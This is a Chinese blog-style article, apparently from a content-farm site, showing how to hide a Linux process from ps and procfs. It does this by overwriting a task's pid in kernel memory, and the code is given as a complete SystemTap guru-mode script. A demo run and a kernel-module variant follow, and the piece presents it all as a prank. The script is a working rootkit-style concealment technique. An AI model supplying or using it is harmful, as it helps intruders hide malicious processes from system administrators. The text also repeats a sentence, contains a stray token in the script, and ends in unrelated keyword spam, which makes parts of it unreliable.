千家信息网

怎么隐藏Linux进程

发表于:2026-11-02 作者:千家信息网编辑
千家信息网最后更新 2026年11月02日,小编给大家分享一下怎么隐藏Linux进程,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!总有朋友问隐藏Linux进程的方法,
千家信息网最后更新 2026年11月02日怎么隐藏Linux进程

小编给大家分享一下怎么隐藏Linux进程,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

总有朋友问隐藏Linux进程的方法,我说你想隐藏到什么程度,是大隐于内核,还是小隐于用户。网上通篇论述的无外乎 hook 掉 procfs 或者类似的用户态方案,也都难免长篇大论,我说,这些场面都太大了,太复杂了。对于希望马上看到效果的而言,看到这么一堆复杂的东西,大概率望而却步。

将Linux进程小隐于用户的非常规方法,仅仅一行代码:

修改掉进程的pid即可。

注意是小隐,所以,不值得反制,逗一下高级会议工程师搞个恶作剧玩玩得了。

target->pid = 0x7fffffff;

完整的脚本如下:

#!/usr/bin/stap -g # hide.stp  global pid;  function hide(who:long) %{     struct task_struct *target;      target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);     target->pid = 0x7fffffff; %}  probe begin {     pid = $1     hide(pid);     exit(); } ff;

来来来,试一下:

[root@localhost system]# ./tohide & [1] 403 [root@localhost system]# ./hide.stp [root@localhost system]#

用下面的命令可以检测所有可显示进程的二进制文件:

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do      ls -l /proc/$pid/exe;  done

procfs里没了,ps当然就检测不到了。

如果你觉得guru 模式的 stap 怪怪的,那么你完全可以编写自己独立的 Linux kernel module,采用修改完即退的方法:

target->pid = xxxx;

return -1;是不是比各种hook法简单多了,所谓的动数据而不要动代码!是不是比各种 hook 法简单多了,所谓的动数据而不要动代码!

简单的说一下原理:

task被创建的时候,根据其pid注册procfs目录结构。

展示procfs目录结构的时候,遍历task list以其pid作为key来查找procfs目录结构。

0x7fffffff(或者任何其它合理的值)根本没有注册过,当然无法显示。

以上是"怎么隐藏Linux进程"这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注行业资讯频道!

进程 代码 方法 用户 目录 篇文章 结构 小隐 复杂 内容 数据 时候 检测 高级 望而却步 长篇大论 无外乎 一行 不怎么 东西 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 科技互联网企业 云信互联网科技有限公司 互联网电商科技 上海互联网科技有限公司 美国互联网科技 互联网科技股午盘股票涨跌 成都仁贤领冠互联网科技有限公司 互联网巨头投资的硬核科技 互联网实体化科技化 隆华科技工业互联网 承德科技产业互联网发展 中国互联网公司排名锤子科技 华夏恒生科技与互联网科技 区块链结合互联网科技 滨湖区互联网智能科技产品有哪些 小米互联网科技园入驻 好易买互联网科技 科技互联网专业工作会议发言稿 互联网对科技影响 黑龙江互联网科技公司 中关村互联网 科技集团 互联网科技公司华为 今日互联网科技 互联网科技金融公司 成都互联网科技公司100强 消费医药和互联网科技 深圳艾果互联网通讯科技 上海钢联属于互联网科技股吗 伍佰万互联网科技怎么赚钱 广东工业互联网大赛深圳学泰科技
0